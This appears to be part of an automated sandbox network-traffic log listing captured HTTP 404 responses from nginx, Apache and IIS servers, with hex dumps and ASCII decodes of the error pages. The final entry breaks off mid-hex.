Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 23 Sep 2024 12:37:35 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 23 Sep 2024 12:37:35 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 23 Sep 2024 12:37:35 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 23 Sep 2024 12:37:56 GMTServer: ApacheContent-Length: 203Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 37 6d 38 62 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /7m8b/ was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 23 Sep 2024 12:37:59 GMTServer: ApacheContent-Length: 203Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 37 6d 38 62 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /7m8b/ was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 23 Sep 2024 12:38:01 GMTServer: ApacheContent-Length: 203Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 37 6d 38 62 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /7m8b/ was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 23 Sep 2024 12:38:04 GMTServer: ApacheContent-Length: 203Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 37 6d 38 62 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /7m8b/ was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 23 Sep 2024 12:38:10 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 389X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 23 Sep 2024 12:38:13 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 389X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 23 Sep 2024 12:38:15 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 389X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 23 Sep 2024 12:38:18 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 389X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.1Date: Mon, 23 Sep 2024 12:38:46 GMTContent-Length: 0Connection: closeX-Rate-Limit-Limit: 5sX-Rate-Limit-Remaining: 19X-Rate-Limit-Reset: 2024-09-23T12:38:51.6173239Z
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: privateContent-Type: text/html; charset=utf-8Server: Microsoft-IIS/10.0X-Powered-By: ASP.NETDate: Mon, 23 Sep 2024 12:39:27 GMTConnection: closeContent-Length: 4953Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 20 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 20 0a 3c 68 65 61 64 3e 20 0a 3c 74 69 74 6c 65 3e 49 49 53 20 31 30 2e 30 20 44 65 74 61 69 6c 65 64 20 45 72 72 6f 72 20 2d 20 34 30 34 2e 30 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 20 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 20 0a 3c 21 2d 2d 20 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 41 72 69 61 6c 2c 48 65 6c 76 65 74 69 63 61 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 0a 63 6f 64 65 7b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 30 30 36 36 30 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 31 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 20 0a 2e 63 6f 6e 66 69 67 5f 73 6f 75 72 63 65 20 63 6f 64 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 38 65 6d 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0a 70 72 65 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 34 65 6d 3b 77 6f 72 64 2d 77 72 61 70 3a 62 72 65 61 6b 2d 77 6f 72 64 3b 7d 20 0a 75 6c 2c 6f 6c 7b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 31 30 70 78 20 35 70 78 3b 7d 20 0a 75 6c 2e 66 69 72 73 74 2c 6f 6c 2e 66 69 72 73 74 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 35 70 78 3b 7d 20 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 77 6f 72 64 2d 62 72 65 61 6b 3a 62 72 65 61 6b 2d 61 6c 6c 3b 7d 20 0a 2e 73 75 6d 6d 61 72 79 2d 63 6f 6e 74 61 69 6e 65 72 20 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 35 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 34 70 78 3b 7d 20 0a 6c 65 67 65 6e 64 2e 6e 6f 2d 65 78 70 61 6e 64 2d 61 6c 6c 7b 70 61 64 64 69 6e 67 3a 32 70 78 20 31 35 70 78 20 34 70 78 20 31 30 70 78 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 2d 31 32 70 78 3b 7d 20 0a 6c 65 67 65 6e 64 7b 63 6f 6c 6f 72 3a 23 33 33 33 33 33 33 3b 3b 6d 61 72 67 69 6e 3a 34 70 78 20 30 20 38 70 78 20 2d 31 32 70 78 3b 5f 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 70 78 3b 20 0a 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 65 6d 3b 7d 20 0a 61 3a 6c 69 6e 6b 2c 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 30 30 37 45 46 46 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 20 0a 61 3a 68 6f 76 65 72 7b 74 65 78 74 2d 6
